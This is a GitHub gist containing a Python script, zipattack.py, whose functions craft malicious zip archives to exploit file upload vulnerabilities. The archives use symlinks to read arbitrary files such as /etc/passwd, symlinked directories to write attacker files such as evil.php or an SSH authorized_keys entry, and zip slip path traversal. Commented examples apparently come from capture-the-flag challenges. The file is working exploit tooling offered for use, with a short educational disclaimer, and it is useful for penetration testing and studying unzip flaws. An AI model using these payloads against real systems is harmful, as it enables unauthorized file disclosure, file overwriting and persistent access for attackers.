Skip to content

Instantly share code, notes, and snippets.

@TrebledJ
Created December 8, 2024 15:15
Python helpers to craft zip attack payloads to exploit file upload vulnerabilities.
#!/usr/bin/python3
"""
zipattack.py
by @trebledj
Python helpers to craft zip attack payloads to exploit file upload
vulnerabilities.
Disclaimer: This script is intended purely for educational purposes. The author
does not assume any responsibility for the potential misuse of the code
presented herein. Users are advised to exercise caution and utilize the
knowledge gained responsibly and within legal boundaries.
Relevant Blog Post: https://trebledj.me/posts/attack-of-the-zip/
"""
import stat
import zipfile
def make_zip_symlink(filename: str, windows: bool):
info = zipfile.ZipInfo(filename)
info.create_system = 0 if windows else 3
# The Python zipfile module accepts the 16-bit "Mode" field (that stores
# st_mode field from struct stat, containing user/group/other permissions,
# setuid/setgid and symlink info, etc) of the ASi extra block for Unix as
# bits 16-31 of the external_attr.
unix_st_mode = stat.S_IFLNK | 0o777
info.external_attr = unix_st_mode << 16
return info
def create_zip_with_symlink_file(output_zip_filename, target_file, dest_filename, windows=False):
"""
Constructs a zip to exploit arbitrary READ.
- output_zip_filename: str
- Name of the zipfile to output.
- target_file: str
- Name of the file you want to read on the victim machine.
- dest_filename: str
- The filename of the symlink to be created on the victim machine.
- windows: bool
- Whether the system you're targetting is a Windows machine.
The zip will have the following structure:
./
└── passwd.txt -> symlink to arbitrary file (dest_filename)
If you have:
1. access to the directory where the zip is unzipped, and
2. the process which relays the files has read-access to the symlinked file,
Then congrats, you (should have) arbitrary read!
"""
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
info = make_zip_symlink(dest_filename, windows)
zip.writestr(info, target_file)
zip.close()
def create_zip_with_symlink_dir(output_zip_filename, target_dir, src_filename, dest_filename, windows=False):
"""
Constructs a zip to exploit arbitrary WRITE.
- output_zip_filename: str
- Name of the zipfile to output.
- target_dir: str
- Name of the directory you want to write to on the victim machine.
- src_filename: str
- The local file (on your machine) to be added to the zip file.
- dest_filename: str
- The filename to save to on the victim machine.
- windows: bool
- Whether the system you're targetting is a Windows machine.
The zip will have the following structure:
./
└── dir/ -> symlink to arbitrary folder
└── evil.php -> your own file (dest_filename)
This allows you to toss the file anywhere in the system, assuming the process has write privileges.
"""
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
info = make_zip_symlink('dir', windows)
zip.writestr(info, target_dir)
zip.write(src_filename, f'dir/{dest_filename}')
zip.close()
def create_zip_with_double_symlink(output_zip_filename, target_dir, target_file, dest_filename, windows=False):
"""
Constructs a zip to exploit arbitrary READ/WRITE.
- output_zip_filename: str
- Name of the zipfile to output.
- target_dir: str
- Name of the directory you want to write to on the victim machine.
- target_file: str
- Name of the file you want to read on the victim machine.
- dest_filename: str
- The filename of the symlink to be created on the victim machine.
- windows: bool
- Whether the system you're targetting is a Windows machine.
The zip will have the following structure:
./
└── dir/ -> symlink to arbitrary folder
└── passwd.txt -> symlink to arbitrary file (dest_filename)
Unzipped by an oblivious application, this would write a symlink to an
*arbitrary directory*. To clarify, there are two symlinks in play here.
1. `dir/`, which links to a folder.
2. `dir/passwd.txt`, which links to a file.
By writing to an arbitrary folder, we can place file.txt somewhere accessible.
For example, on a PHP application, we could call:
create_zip_with_symlink('evil.zip', '/var/www/html/', '/etc/passwd', 'passwd.html')
Then accessing `http://{ip}/passwd.html` would yield the contents of /etc/passwd.
Ofc, if it _was_ a PHP application, we could just use ziplink.py to upload a reverse_shell.php
instead of this roundabout way of a double link.
"""
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
info_dir = make_zip_symlink(f'dir', windows)
info_file = make_zip_symlink(f'dir/{dest_filename}', windows)
zip.writestr(info_dir, target_dir)
zip.writestr(info_file, target_file)
zip.close()
def create_zip_slip(output_zip_filename, src_filename, dest_filename, windows=False):
"""
Constructs a zip slip payload using an existing file.
- output_zip_filename: str
- Name of the zipfile to output.
- src_filename: str
- The local file (on your machine) to be added to the zip file.
- dest_filename: str
- The filename to save to on the victim machine.
- windows: bool
- Whether the system you're targetting is a Windows machine.
"""
if windows:
dest_filename = dest_filename.replace('/', '\\')
zip = zipfile.ZipFile(output_zip_filename, 'w')
zip.write(src_filename, dest_filename)
zip.close()
# Examples:
# create_zip_with_double_symlink('evil-linkwr.mscz', '/app/static/', '/app/flag.txt', 'flag.js')
# create_zip_with_symlink_dir('evil-overwrite-index-js.mscz', '/home/bob/app/static/', 'payload.js', 'index.js')
# create_zip_with_double_symlink('evil-file-link-js-shosti.mscz', '/home/bob/app/static/', '/home/bob/app/flag.txt', 'flag.js')
# create_zip_slip('evil-slip-ssh.mscz', 'sshkey.pub', '../../../../flag.js')
# create_zip_with_symlink_file('evil-slip.mscz', '/app/flag.txt', '../../../../../../app/static/flag.html')
# create_zip_with_double_symlink('test.zip', '/Users/jjjlaw/Desktop/nothing/', '/app/flag.txt', 'flag.js')
# create_zip_with_symlink_dir('test2.zip', '/Users/jjjlaw/Desktop/nothing/', 'sshkey.pub', 'authorized_keys')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment